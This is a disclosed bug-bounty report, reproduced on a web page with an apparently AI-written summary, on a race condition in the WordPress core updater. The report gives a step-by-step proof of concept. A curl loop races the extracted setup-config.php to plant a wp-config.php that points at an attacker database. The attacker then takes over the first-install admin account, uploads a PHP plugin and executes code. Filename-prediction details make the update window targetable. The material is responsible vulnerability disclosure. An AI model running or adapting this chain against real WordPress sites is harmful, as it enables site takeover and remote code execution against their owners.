Skip to content
Access control Disclosed report Advanced

WordPress core-updater extracted-installer race: full pre-authentication-to-RCE PoC

During a full WordPress core update, the updater extracts a complete bootstrappable WordPress tree under the web-served wp-content/upgrade directory, exposing an unauthenticated setup-config.php. An attacker who races that script can plant a wp-config.php pointing at their own empty database, which the updater then copies over the live configuration, letting them complete a fresh install, become administrator and upload a PHP plugin for code execution.

umutbayram3806 Follow

Originally disclosed on HackerOne

  • Triaged in 9 days
  • Fixed in 3 months
  • Paid in 59 days
  • Disclosed after 4 months

1. Executive summary

The supplied WordPress target contains a pre-authentication configuration-overwrite chain in the core updater. During a full core update, WordPress extracts a complete, independently bootstrappable WordPress tree below the normally web-served wp-content/upgrade directory. An unauthenticated attacker can race the extracted wp-admin/setup-config.php endpoint and create an unexpected wp-config.php in the distribution root. The core updater subsequently copies that file over the live site's configuration.

The attacker points the replacement configuration at an empty MySQL database they control. The live site then enters the normal installation flow, allowing the attacker to create the first administrator, upload a PHP plugin, and read /flag.

The end-to-end validation returned:

HTTP
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
Content-Length: 21

BJ_RACE_FLAG_READ_OK

Root cause (basically)

WordPress consists mainly of PHP application files and a database containing users, passwords, posts, and settings. A file named wp-config.php tells the PHP application which database it should use. Controlling that file effectively lets an attacker tell WordPress to stop using the real database and connect to the attacker's database instead.

During a core update, WordPress performs approximately these operations:

Text
Download the new WordPress ZIP
    -> Extract a complete WordPress tree below wp-content/upgrade/
    -> Check the extracted files
    -> Copy them over the live WordPress files
    -> Delete the temporary directory

The vulnerability exists between extraction and copying.

The extracted tree is a complete, independently bootstrappable WordPress installation. It contains wp-admin/setup-config.php, the script normally used to configure a brand new site. Because the temporary tree is located below the public wp-content/upgrade directory, an attacker can request that PHP script over HTTP.

The real site already has a configuration at a location such as:

Text
/var/www/html/wp-config.php

However, the extracted setup script checks only for a configuration in or immediately above its own temporary tree. It does not find the real configuration several directories away, so it behaves as if it belongs to a new, unconfigured WordPress site. New installations do not have users yet, so setup-config.php intentionally does not require authentication.

The attacker sends the temporary setup script database parameters such as:

Text
Database: wp_audit
Username: wp_attacker
Password: change-me
Host:     attacker-mysql
Prefix:   bj_

The script writes a new file inside the extracted distribution:

Text
/wp-content/upgrade/<known-package>/wordpress/wp-config.php

Shortly afterward, the updater copies the extracted distribution over the live site. It excludes only wp-content and wp-includes/version.php; it neither excludes wp-config.php nor rejects unexpected files added after extraction. The resulting operation is effectively:

Text
temporary/wordpress/wp-config.php
        -> overwrite
live-site/wp-config.php

The live WordPress application now connects to the attacker's empty database. WordPress sees that its tables do not exist and enters the normal first-installation flow. The attacker completes that flow and becomes the first administrator of the replacement database. The original victim database still exists, but the live application is no longer using it.

On a typical WordPress deployment, an administrator can upload plugins, and plugins are PHP code. The new administrator uploads a plugin that reads /flag, then requests the plugin's PHP file directly. This turns the configuration overwrite into remote code execution.

The complete chain is:

Text
Unauthenticated attacker
    -> Access temporary setup-config.php during a core update
    -> Create a temporary wp-config.php pointing to attacker MySQL
    -> Updater copies it over the live wp-config.php
    -> Live site switches to the attacker's empty database
    -> Attacker completes first installation and becomes administrator
    -> Attacker uploads a PHP plugin
    -> Remote code execution and /flag read

This is a race because the attacker must create the temporary configuration after the archive exposes setup-config.php but before copy_dir() lists the distribution-root files. Sending the request too early produces a 404; sending it too late means the updater has already selected the files to copy.

The attacker must also know the temporary directory name. A package response containing a stable Content-Disposition filename makes that name predictable. Follow-up live validation found that the official stable, automatic-update, localized, and target-beta package servers currently provide such filenames. Thus the random suffix is not a practical blocker when a qualifying official package is selected. Without that header, directory listing, or another path disclosure, the six-character random suffix is not practical to guess.

In one sentence: WordPress temporarily exposes a configuration-capable second installation during an update and later trusts and copies a configuration file that an unauthenticated request can add to that installation.

2. Important scope and qualifications

This is an end-to-end proven but deployment-conditional chain.

The following conditions are required:

  1. A full or sufficiently complete core package is being installed.
  2. The archive contains wordpress/wp-admin/setup-config.php, wordpress/wp-config-sample.php, and the normal bootstrap files.
  3. wp-content/upgrade is under the web document root and PHP files below it execute.
  4. The web server/updater can write the upgrade tree and live WordPress files.
  5. The attacker has a MySQL database reachable from the WordPress host.
  6. The upgrade working-directory basename is predictable or disclosed.
  7. There is enough time after extraction for one setup request to finish before copy_dir() snapshots the distribution root.
  8. PHP execution is permitted in the normal plugin directory for the final RCE step.

The target makes the upgrade basename deterministic when the package response contains a header beginning:

HTTP
Content-Disposition: attachment; filename=

Without that header or another directory-disclosure mechanism, wp_tempnam() leaves a six-character CSPRNG suffix. That suffix has approximately 62^6, or 56.8 billion, possibilities and should not be treated as guessable.

Follow-up live inspection on 2026-08-03 confirmed that the official WordPress package servers currently supply the qualifying header for stable full, no-content, new-bundled, partial, localized, and beta packages. This resolves the earlier filename uncertainty for those official packages. A custom proxy, mirror, nightly package, or rename failure can still leave the random suffix in place.

The reproduced successful run used a 300 ms local checksum response. A deliberately zero-latency control missed the root directory snapshot by roughly 100-150 ms.

Official package-name and package-selection validation

Live official response headers

Live HEAD and ranged-GET requests on 2026-08-03 observed the following response from the official stable package:

HTTP
HTTP/1.1 206 Partial Content
Content-Type: application/zip
Content-Disposition: attachment; filename=wordpress-7.0.2.zip
Content-Range: bytes 0-0/31435175

The automatic-update hostname, downloads.w.org, returned the same filename without a redirect. The official package variants returned:

HTTP
Content-Disposition: attachment; filename=wordpress-7.0.2.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-no-content.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-new-bundled.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-partial-1.zip

The official target-beta package also returned on an actual ranged GET:

HTTP
Content-Disposition: attachment; filename=wordpress-7.1-beta4.zip

The target code lowercases and sanitizes the supplied filename, renames the initially random download, and then removes .zip when constructing the upgrade directory. The resulting paths are therefore:

Text
/wp-content/upgrade/wordpress-7.0.2/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.0.2-no-content/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.0.2-new-bundled/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.1-beta4/wordpress/wp-admin/setup-config.php

The exact name is based on the package being installed, not necessarily the site's currently installed version.

The behavior can be verified without downloading the complete package:

PowerShell
curl.exe -sSI `
  'https://downloads.wordpress.org/release/wordpress-7.0.2-no-content.zip' |
  Select-String -Pattern 'Content-Disposition'

curl.exe -sSI `
  'https://wordpress.org/wordpress-7.1-beta4.zip' |
  Select-String -Pattern 'Content-Disposition'

Public update metadata

The anonymous official core version-check API publishes the applicable package URLs. When queried as an installed 7.0.1 site, it returned package names for the 7.0.2 target including:

Text
full:        wordpress-7.0.2.zip
no_content:  wordpress-7.0.2-no-content.zip
new_bundled: wordpress-7.0.2-new-bundled.zip
partial:     wordpress-7.0.2-partial-1.zip

If the attacker does not know which variant is active, the candidate set is small enough to probe concurrently during the update window. No directory listing is needed for these official filenames.

Localized packages are deterministic as well. For example, the German package response supplied:

HTTP
Content-Disposition: attachment; filename=wordpress-7.0.2-de_DE.zip

Because download_url() lowercases the whole header before extracting the filename, the actual directory is:

Text
/wp-content/upgrade/wordpress-7.0.2-de_de/

Package selection and automatic complete-package cases

A normal English same-branch maintenance update usually selects a partial package when one is available. The inspected partial packages do not contain setup-config.php, so those updates do not expose the installer required by this chain.

However, partial packages are not universally selected. Some legitimate automatic-update offers contain no applicable partial package. In those cases, Core_Upgrader automatically falls through to new_bundled, no_content, or full, each of which can be sufficiently complete for this vulnerability. No attacker-controlled update server or authenticated reinstallation is required.

A live en_US API survey on 2026-08-03 found:

  • With major automatic updates enabled, every surveyed stable WordPress release from 3.7 through 6.9.5 selected the 7.0.2 autoupdate offer without a partial package. Versions below 6.7 selected new_bundled; versions 6.7 through 6.9.5 selected no_content.
  • Archived beta and release-candidate installations in branches 4.7 through 6.6 received same-branch new_bundled automatic-update offers without partial packages.
  • Archived prereleases in branches 6.7 through 7.0 received same-branch no_content offers without partial packages.
  • The target 7.1 development build receives a literal full nightly automatic-update offer without partial, no-content, or new-bundled alternatives.

Accordingly, this vulnerability can become reachable when WordPress independently performs a legitimate automatic core update that selects a qualifying complete package. The attacker does not need to trigger or control the update process. The report assumes that the victim begins the update normally; the official update offer and the site's automatic-update policy determine which package is installed.

Archive inspection produced an important distinction:

  • wordpress-7.0.2.zip contains wordpress/wp-admin/setup-config.php.
  • wordpress-7.0.2-no-content.zip contains wp-admin/setup-config.php, wp-config-sample.php, and wp-admin/includes/update-core.php.
  • New-bundled and localized full packages contain the required setup files.
  • The tested wordpress-7.0.2-partial-1.zip and rollback packages do not contain setup-config.php.
  • Other inspected partial packages similarly omitted setup-config.php.

Consequently, the official CDN filename removes the path-guessing blocker, but a clean minor update that selects a small partial archive does not expose the installer needed by this particular chain. The chain remains applicable when WordPress selects a full, no-content, new-bundled, localized full, beta, or another complete distribution. Checksum-precheck failure, reinstallation, absence of a matching partial package, and certain bundled-content transitions can cause such a complete package to be selected.

If the qualifying header is genuinely absent

Without the header, the target creates:

Text
/wp-content/upgrade/<package-stem>-<six-random-alphanumeric-characters>/

No default unauthenticated WordPress-core endpoint was found that discloses this random name. Public REST, AJAX, cron, maintenance-mode, Site Health, and updater status/error paths do not reveal it. Directory indexing, WebDAV, public debug logs, or verbose server errors could disclose it, but those are deployment-specific rather than WordPress-core defaults.

3. Root-cause analysis

3.1 Package-controlled response filename becomes the work-directory basename

download_url() initially creates a random temporary filename:

  • main/src/wp-admin/includes/file.php:674-725
  • main/src/wp-admin/includes/file.php:1160-1173

It then accepts a sanitized Content-Disposition filename and renames the temporary file to that exact name:

  • main/src/wp-admin/includes/file.php:1222-1241

WP_Upgrader::unpack_package() derives the extraction directory from the resulting package basename:

  • main/src/wp-admin/includes/class-wp-upgrader.php:358-401

For this response:

HTTP
Content-Disposition: attachment; filename=wordpress-simulated.zip

the web path becomes:

Text
/wp-content/upgrade/wordpress-simulated/wordpress/

3.2 The nested setup script is pre-authenticated

The extracted wp-admin/setup-config.php defines its own WP_INSTALLING, WP_SETUP_CONFIG, and nested ABSPATH:

  • main/src/wp-admin/setup-config.php:15-35

It checks only for configuration files in or immediately above the extracted tree:

  • main/src/wp-admin/setup-config.php:58-82

The live configuration is several directories above that tree and is therefore not detected. At step 2, the script accepts the database name, user, password, host, and prefix directly from POST:

  • main/src/wp-admin/setup-config.php:278-343

It reconstructs the sample configuration and writes a nested wp-config.php:

  • main/src/wp-admin/setup-config.php:377-498
  • exact write path selection at main/src/wp-admin/setup-config.php:463-469

No WordPress login, capability, or nonce is required.

3.3 Core update copies the unexpected config over the live site

The core updater excludes only:

PHP
$skip = array( 'wp-content', 'wp-includes/version.php' );

See main/src/wp-admin/includes/update-core.php:1293.

Checksum processing iterates the known official checksum keys. It does not enumerate and reject unexpected distribution-root files:

  • main/src/wp-admin/includes/update-core.php:1296-1339

The updater later copies the distribution root into live ABSPATH:

  • main/src/wp-admin/includes/update-core.php:1370-1384

copy_dir() snapshots all non-skipped source entries and overwrites destination files:

  • main/src/wp-admin/includes/file.php:2025-2049

Because wp-config.php is not in the skip list, the attacker-created configuration is copied over the live file. The working tree is deleted only near the end:

  • main/src/wp-admin/includes/update-core.php:1645-1646

Deleting the working tree does not restore the overwritten live configuration.

4. Reproduction environment

The following commands are for Windows PowerShell and the supplied workspace. They use only local files and the already-available Docker images. Run them only against a disposable lab: the PoC intentionally replaces the lab site's live configuration.

Open PowerShell in:

Text
C:\Users\simse\Desktop\wordpress

The commands use port 18085 and fresh resource names to avoid the earlier wp-bj2 lab. If any of the names already exist, use a different suffix instead of deleting an unidentified resource.

5. Step-by-step local PoC

Step 1: define lab parameters

In Terminal 1:

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

$Network = 'wp-race-net'
$Database = 'wp-race-db'
$Web = 'wp-race-web'
$Api = 'wp-race-api'
$Volume = 'wp-race-src'
$Target = 'http://127.0.0.1:18085'

$SourceRoot = (Resolve-Path '.\main\src').Path
$ChecksumRouter = (Resolve-Path '.\audit-bj-checksum-router.php').Path

Step 2: create the isolated network and source volume

PowerShell
docker network create $Network
docker volume create $Volume

Populate the volume from the supplied target source and make it writable by the PHP worker:

PowerShell
docker run --rm --entrypoint sh `
  --mount "type=bind,source=$SourceRoot,target=/src,readonly" `
  --mount "type=volume,source=$Volume,target=/dest" `
  wordpress `
  -c 'cp -a /src/. /dest/ && chown -R www-data:www-data /dest'

Step 3: start MySQL and create victim/attacker databases

PowerShell
docker run -d `
  --name $Database `
  --network $Network `
  -e MYSQL_ROOT_PASSWORD=root-change-me `
  mysql:8.0

Wait for MySQL:

PowerShell
do {
    Start-Sleep -Seconds 2
    docker exec $Database mysqladmin ping `
      -uroot -proot-change-me --silent *> $null
} until ($LASTEXITCODE -eq 0)

Create separate databases and users:

PowerShell
docker exec $Database mysql -uroot -proot-change-me -e "
CREATE DATABASE wp_victim CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE DATABASE wp_audit CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'wp_victim'@'%' IDENTIFIED BY 'victim-pass';
CREATE USER 'wp_attacker'@'%' IDENTIFIED BY 'change-me';
GRANT ALL PRIVILEGES ON wp_victim.* TO 'wp_victim'@'%';
GRANT ALL PRIVILEGES ON wp_audit.* TO 'wp_attacker'@'%';
FLUSH PRIVILEGES;"

Step 4: start the vulnerable target

PowerShell
docker run -d `
  --name $Web `
  --network $Network `
  -p 127.0.0.1:18085:80 `
  --mount "type=volume,source=$Volume,target=/var/www/html" `
  wordpress

The repository's main/src tree is a development source tree. It omits wp-config-sample.php, which is stored at main/wp-config-sample.php, and its index.php is a build reminder. Apply the two production-build equivalents needed by this PHP-only PoC:

PowerShell
docker cp `
  '.\main\wp-config-sample.php' `
  "${Web}:/var/www/html/wp-config-sample.php"

docker exec $Web sh -lc `
  'cp /var/www/html/_index.php /var/www/html/index.php && chown www-data:www-data /var/www/html/index.php /var/www/html/wp-config-sample.php'

Wait for the setup page:

PowerShell
do {
    Start-Sleep -Seconds 2
    $HttpCode = curl.exe -s -o NUL -w '%{http_code}' `
      "$Target/wp-admin/setup-config.php"
} until ($HttpCode -eq '200')

"Target ready: $Target"

Step 5: install the original victim site

Create the original configuration:

PowerShell
$InitialConfig = curl.exe -sS -X POST `
  "$Target/wp-admin/setup-config.php?step=2&noapi=1" `
  --data-urlencode 'dbname=wp_victim' `
  --data-urlencode 'uname=wp_victim' `
  --data-urlencode 'pwd=victim-pass' `
  --data-urlencode "dbhost=$Database" `
  --data-urlencode 'prefix=wp_' `
  --data-urlencode 'language=en_US' `
  --data-urlencode 'noapi=1'

$InitialConfig | Select-String -SimpleMatch 'All right, sparky'

Install the victim site:

PowerShell
$InitialInstall = curl.exe -sS -X POST `
  "$Target/wp-admin/install.php?step=2" `
  --data-urlencode 'weblog_title=Original Victim Site' `
  --data-urlencode 'user_name=victimadmin' `
  --data-urlencode 'admin_password=Victim-Admin-2026!x7Q' `
  --data-urlencode 'admin_password2=Victim-Admin-2026!x7Q' `
  --data-urlencode '[email protected]' `
  --data-urlencode 'blog_public=0' `
  --data-urlencode 'language=en_US'

$InitialInstall | Select-String -Pattern 'Success|WordPress has been installed'

Verify the original site:

PowerShell
curl.exe -sS -o NUL -w "HTTP %{http_code}`n" "$Target/"

Expected:

Text
HTTP 200

Install the disposable flag fixture:

PowerShell
docker cp '.\audit-bj-flag.txt' "${Web}:/flag"

Step 6: build the complete local core package

Copy the builder and run it as the same user that normally performs web updates:

PowerShell
docker cp `
  '.\audit-bj-build-package.php' `
  "${Web}:/tmp/audit-bj-build-package.php"

docker exec --user www-data $Web php `
  /tmp/audit-bj-build-package.php `
  /var/www/html `
  /tmp/audit-wordpress-known.zip

Expected output contains a file count and:

Text
zip=/tmp/audit-wordpress-known.zip

Copy the package responder and updater runner only after building the ZIP, so these lab helpers do not become members of the simulated distribution:

PowerShell
docker cp `
  '.\audit-bj-package-response.php' `
  "${Web}:/var/www/html/audit-bj-package.php"

docker cp `
  '.\audit-bj-run-core-update.php' `
  "${Web}:/var/www/html/audit-bj-run-core-update.php"

Step 7: start the delayed checksum simulator

PowerShell
docker run -d `
  --name $Api `
  --network $Network `
  --network-alias api.wordpress.org `
  --mount "type=bind,source=$ChecksumRouter,target=/router.php,readonly" `
  --entrypoint php `
  wordpress `
  -S 0.0.0.0:80 /router.php

Verify the package response provides the deterministic filename:

PowerShell
curl.exe -sSI "$Target/audit-bj-package.php" |
  Select-String -Pattern 'HTTP/|Content-Disposition|Content-Length'

Required output:

Text
Content-Disposition: attachment; filename=wordpress-simulated.zip

If that header is absent in another environment and there is no directory disclosure, stop the PoC rather than guessing the random suffix.

Step 8: start the unauthenticated race in Terminal 2

Open a second PowerShell terminal:

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

$Target = 'http://127.0.0.1:18085'
$Setup = "$Target/wp-content/upgrade/wordpress-simulated/wordpress/wp-admin/setup-config.php?step=2&noapi=1"

while ($true) {
    $Body = (& curl.exe -sS --max-time 3 -X POST $Setup `
        --data-urlencode 'dbname=wp_audit' `
        --data-urlencode 'uname=wp_attacker' `
        --data-urlencode 'pwd=change-me' `
        --data-urlencode 'dbhost=wp-race-db' `
        --data-urlencode 'prefix=bj_' `
        --data-urlencode 'language=en_US' `
        --data-urlencode 'noapi=1' 2>$null) -join "`n"

    if ($Body.Contains('All right, sparky')) {
        '[+] Nested attacker wp-config.php created'
        break
    }

    Start-Sleep -Milliseconds 20
}

Initial requests return 404 while the path does not exist. Leave this loop running and continue immediately in Terminal 3.

Step 9: trigger the full update in Terminal 3

The helper triggers the legitimate core-updater code path. In a real attack, the pre-authenticated attacker waits for an administrator-initiated or automatic update; the helper is operator-side test instrumentation, not attacker authority.

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

docker exec `
  --user www-data `
  -e AUDIT_BJ_PACKAGE=http://127.0.0.1/audit-bj-package.php `
  wp-race-web `
  php /var/www/html/audit-bj-run-core-update.php

Running the helper as www-data matters. Running it as container root while the tree belongs to www-data makes WordPress select the FTP filesystem method.

Inspect the timeline:

PowerShell
docker exec wp-race-web cat /tmp/audit-bj-update.log

Expected phases:

Text
feedback Downloading update
feedback Unpacking the update
update_feedback Verifying the unpacked files
update_feedback Preparing to install the latest version
update_feedback Enabling Maintenance mode
update_feedback Copying the required files
update_feedback Disabling Maintenance mode
end result='7.1-beta4-62899-src'

Terminal 2 must print:

Text
[+] Nested attacker wp-config.php created

Step 10: verify persistent live configuration takeover

In Terminal 1 or 3:

PowerShell
docker exec wp-race-web grep `
  -e DB_NAME `
  -e DB_USER `
  -e DB_HOST `
  -e table_prefix `
  /var/www/html/wp-config.php

Expected:

PHP
define( 'DB_NAME', 'wp_audit' );
define( 'DB_USER', 'wp_attacker' );
define( 'DB_HOST', 'wp-race-db' );
$table_prefix = 'bj_';

The extracted working directory may already be deleted. The live configuration remains overwritten.

Step 11: retire the checksum simulator

The checksum helper returns only the checksum API schema. Leaving it registered as api.wordpress.org causes later plugin/theme update checks to receive malformed data. Block external HTTP in this local lab, then stop the simulator:

PowerShell
docker exec --user www-data wp-race-web sed -i `
  "/Add any custom values/a define( 'WP_HTTP_BLOCK_EXTERNAL', true );" `
  /var/www/html/wp-config.php

docker stop wp-race-api

Verify the local-only setting:

PowerShell
docker exec wp-race-web grep `
  -e WP_HTTP_BLOCK_EXTERNAL `
  /var/www/html/wp-config.php

Step 12: install the attacker-database site as administrator

The attacker begins this stage without any credentials. The empty bj_ database is now the live site's database, so the normal installer grants the attacker the first admin.

PowerShell
$Target = 'http://127.0.0.1:18085'

$AttackerInstall = curl.exe -sS -X POST `
  "$Target/wp-admin/install.php?step=2" `
  --data-urlencode 'weblog_title=BJ Race Site' `
  --data-urlencode 'user_name=bjadmin' `
  --data-urlencode 'admin_password=BJ-Race-2026!' `
  --data-urlencode 'admin_password2=BJ-Race-2026!' `
  --data-urlencode '[email protected]' `
  --data-urlencode 'blog_public=0' `
  --data-urlencode 'language=en_US'

$AttackerInstall |
  Select-String -Pattern 'Success|WordPress has been installed'

Expected output contains:

Text
Success!
WordPress has been installed

Step 13: log in and preserve the cookie jar

Use a definite writable cookie-jar path in the repository:

PowerShell
$Cookies = Join-Path (Get-Location).Path 'race-poc-cookies.txt'
New-Item -ItemType File -Force -Path $Cookies | Out-Null

curl.exe -sS -D - `
  -c $Cookies `
  "$Target/wp-login.php" `
  -o NUL |
  Select-String -Pattern 'HTTP/|Set-Cookie'

Confirm the test cookie was saved:

PowerShell
Get-Content $Cookies |
  Select-String -SimpleMatch 'wordpress_test_cookie'

Log in:

PowerShell
$LoginHeaders = (& curl.exe -sS `
  -D - `
  -o NUL `
  -b $Cookies `
  -c $Cookies `
  -X POST "$Target/wp-login.php" `
  --data-urlencode 'log=bjadmin' `
  --data-urlencode 'pwd=BJ-Race-2026!' `
  --data-urlencode 'wp-submit=Log In' `
  --data-urlencode "redirect_to=$Target/wp-admin/" `
  --data-urlencode 'testcookie=1') -join "`n"

$LoginHeaders |
  Select-String -Pattern 'HTTP/|Location:|Set-Cookie:'

Expected output includes an HTTP 302 and a wordpress_logged_in_... cookie. Confirm it:

PowerShell
Get-Content $Cookies |
  Select-String -SimpleMatch 'wordpress_logged_in'

Step 14: obtain the plugin-upload nonce

PowerShell
$UploadPage = (& curl.exe -sS `
  -b $Cookies `
  "$Target/wp-admin/plugin-install.php?tab=upload") -join "`n"

$Nonce = [regex]::Match(
    $UploadPage,
    'name="_wpnonce"[^>]*value="([^"]+)"'
).Groups[1].Value

if ([string]::IsNullOrWhiteSpace($Nonce)) {
    $UploadPage |
      Select-String -Pattern 'login_error|not allowed|wp-login|error'
    throw 'Plugin-upload nonce was not found'
}

"Nonce: $Nonce"

Step 15: upload the proof plugin

The repository contains a ZIP with one PHP file that returns file_get_contents('/flag') when bj_rce is present. Activation is unnecessary because an exact request to the PHP file is handled directly by Apache/PHP.

PowerShell
$PluginZip = (Resolve-Path '.\audit-bj-plugin.zip').Path

$UploadResponse = (& curl.exe -sS `
  -b $Cookies `
  -F "_wpnonce=$Nonce" `
  -F '_wp_http_referer=/wp-admin/plugin-install.php?tab=upload' `
  -F "pluginzip=@$PluginZip;type=application/zip" `
  -F 'install-plugin-submit=Install Now' `
  "$Target/wp-admin/update.php?action=upload-plugin") -join "`n"

$UploadResponse |
  Select-String -Pattern 'Plugin installed successfully|Installation failed|Connection Information|error'

Expected:

Text
Plugin installed successfully

Step 16: read /flag

PowerShell
curl.exe -i `
  "$Target/wp-content/plugins/audit-bj-rce/audit-bj-rce.php?bj_rce=1"

Expected:

HTTP
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
Content-Length: 21

BJ_RACE_FLAG_READ_OK

6. Successful race timing

The independently reproduced successful run recorded:

Text
1785773151.576526  package unpacking began
1785773152.642000  first successful setup request started
1785773152.733282  updater entered checksum/preparation phase
1785773152.818000  nested wp-config.php finished
1785773153.037744  updater entered root copy_dir()
1785773155.344153  updater completed successfully

The malicious configuration existed approximately 219 ms before the vulnerable root directory snapshot.

7. Troubleshooting validated during reproduction

setup-config.php returns HTTP 500

If the response says it needs wp-config-sample.php, copy main/wp-config-sample.php into the container and assign it to www-data as shown in Step 4.

/ returns HTTP 500 after initial installation

If the response says WordPress is running without built JavaScript/CSS files, the raw source-tree index.php is still active. Copy _index.php over index.php as shown in Step 4. This mirrors the relevant production-build output for the PHP-only lab.

Updater displays an FTP credentials form and logs end result=false

The updater runner was executed as root while the target tree belongs to www-data. Run the helper with:

PowerShell
docker exec --user www-data ...

If a previous root run created /tmp/audit-bj-update.log, repair its ownership before retrying:

PowerShell
docker exec wp-race-web chown www-data:www-data /tmp/audit-bj-update.log

copy_failed_copy_dir_retry: Could not copy file

Check the live config first: the configuration overwrite may already have succeeded before a later file failed. In the observed lab, root-owned wp-config-sample.php caused the later error. Assign the sample file to www-data before building the package to obtain a clean successful update.

Shell reports DB_HOST: not found or table_prefix: not found

PowerShell interpreted the pipe characters in a nested sh -lc regex. Use separate grep -e arguments as shown in Step 10.

Plugin-upload nonce is empty

Confirm that the cookie file exists, contains wordpress_test_cookie, the login returns HTTP 302, and the jar contains wordpress_logged_in. Step 13 deliberately makes each condition visible.

Plugin upload returns HTTP 500 and the plugin URL returns 404

The checksum simulator may still be registered as api.wordpress.org. Its checksum JSON is not a valid plugin-update response and can cause array_walk(null) in the admin update path. Complete Step 11 before visiting plugin administration pages.

8. Validation helpers

  • audit-bj-build-package.php: builds the full nested wordpress/ package.
  • audit-bj-package-response.php: supplies the stable Content-Disposition filename.
  • audit-bj-checksum-router.php: supplies the 300 ms checksum response.
  • audit-bj-run-core-update.php: invokes Core_Upgrader and logs its phases.
  • audit-bj-plugin.zip: prebuilt one-file /flag reader.
  • audit-bj-build-plugin.php: source builder for the proof plugin.
  • audit-bj-flag.txt: disposable local /flag fixture.

All PHP helpers passed php -l validation in an isolated PHP container.

The package responder, checksum router, updater runner, and /flag fixture are lab instrumentation. The vulnerable package extraction, nested setup, checksum iteration, root copying, configuration selection, installer, and plugin upload behavior remain the unmodified target code.

Impact

Successful exploitation changes the live site's database trust boundary without prior authentication. The attacker gains control of the site's first-install state, creates an administrator, and reaches PHP execution through the ordinary plugin-upload facility. Existing victim database contents remain in the original database, but the live application stops using them while the malicious configuration is present.

The original report as published on HackerOne, by umutbayram3806. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

Context

WordPress is a PHP application backed by a MySQL database that holds users, passwords, posts and settings. A file named wp-config.php tells the PHP application which database to use, so whoever controls that file controls which database the live site trusts.

The feature at the centre of this report is the core updater. During a full core update, WordPress downloads a new WordPress ZIP, extracts a complete WordPress tree below wp-content/upgrade/, checks the extracted files, copies them over the live WordPress files, and deletes the temporary directory. The extracted tree is a complete, independently bootstrappable WordPress installation, and it sits below a directory that is normally web-served.

The report describes a pre-authentication configuration-overwrite chain in that updater. An unauthenticated attacker races the extracted wp-admin/setup-config.php endpoint, creates an unexpected wp-config.php in the distribution root, and the core updater then copies that file over the live site's configuration. The attacker points the replacement configuration at an empty MySQL database they control, the live site enters the normal installation flow, and the attacker creates the first administrator, uploads a PHP plugin and reads /flag.

The end-to-end validation returned:

HTTP
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
Content-Length: 21

BJ_RACE_FLAG_READ_OK

Setup

The reproduction is a local lab built from the supplied WordPress target source tree, using Docker images that were already available. The commands are Windows PowerShell and use port 18085 with fresh resource names to avoid an earlier wp-bj2 lab. The report warns to run them only against a disposable lab, because the PoC intentionally replaces the lab site's live configuration.

The lab parameters are:

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

$Network = 'wp-race-net'
$Database = 'wp-race-db'
$Web = 'wp-race-web'
$Api = 'wp-race-api'
$Volume = 'wp-race-src'
$Target = 'http://[redacted]:18085'

$SourceRoot = (Resolve-Path '.\main\src').Path
$ChecksumRouter = (Resolve-Path '.\audit-bj-checksum-router.php').Path

The report lists eight conditions required for the chain:

  1. A full or sufficiently complete core package is being installed.
  2. The archive contains wordpress/wp-admin/setup-config.php, wordpress/wp-config-sample.php, and the normal bootstrap files.
  3. wp-content/upgrade is under the web document root and PHP files below it execute.
  4. The web server/updater can write the upgrade tree and live WordPress files.
  5. The attacker has a MySQL database reachable from the WordPress host.
  6. The upgrade working-directory basename is predictable or disclosed.
  7. There is enough time after extraction for one setup request to finish before copy_dir() snapshots the distribution root.
  8. PHP execution is permitted in the normal plugin directory for the final RCE step.

The reproduced successful run used a 300 ms local checksum response. A deliberately zero-latency control missed the root directory snapshot by roughly 100-150 ms.

Finding it

The extracted tree is a complete, independently bootstrappable WordPress installation containing wp-admin/setup-config.php, the script normally used to configure a brand new site. Because the temporary tree is located below the public wp-content/upgrade directory, that PHP script can be requested over HTTP.

The real site already has a configuration at a location such as:

Text
/var/www/html/wp-config.php

The extracted setup script checks only for a configuration in or immediately above its own temporary tree. It does not find the real configuration several directories away, so it behaves as if it belongs to a new, unconfigured WordPress site. New installations do not have users yet, so setup-config.php intentionally does not require authentication.

The updater excludes only wp-content and wp-includes/version.php when copying. It neither excludes wp-config.php nor rejects unexpected files added after extraction. The resulting operation is effectively:

Text
temporary/wordpress/wp-config.php
        -> overwrite
live-site/wp-config.php

The complete chain is:

Text
Unauthenticated attacker
    -> Access temporary setup-config.php during a core update
    -> Create a temporary wp-config.php pointing to attacker MySQL
    -> Updater copies it over the live wp-config.php
    -> Live site switches to the attacker's empty database
    -> Attacker completes first installation and becomes administrator
    -> Attacker uploads a PHP plugin
    -> Remote code execution and /flag read

This is a race because the attacker must create the temporary configuration after the archive exposes setup-config.php but before copy_dir() lists the distribution-root files. Sending the request too early produces a 404; sending it too late means the updater has already selected the files to copy.

The attacker must also know the temporary directory name. A package response containing a stable Content-Disposition filename makes that name predictable. Follow-up live validation found that the official stable, automatic-update, localized, and target-beta package servers currently provide such filenames. Without that header, directory listing, or another path disclosure, the six-character random suffix is not practical to guess.

In one sentence, as the report puts it: WordPress temporarily exposes a configuration-capable second installation during an update and later trusts and copies a configuration file that an unauthenticated request can add to that installation.

Package-name and package-selection validation

Live HEAD and ranged-GET requests on 2026-08-03 observed the following response from the official stable package at https://downloads.wordpress.org/release/wordpress-7.0.2.zip:

HTTP
HTTP/1.1 206 Partial Content
Content-Type: application/zip
Content-Disposition: attachment; filename=wordpress-7.0.2.zip
Content-Range: bytes 0-0/31435175

The automatic-update hostname, downloads.w.org, returned the same filename without a redirect. The official package variants returned:

HTTP
Content-Disposition: attachment; filename=wordpress-7.0.2.zip
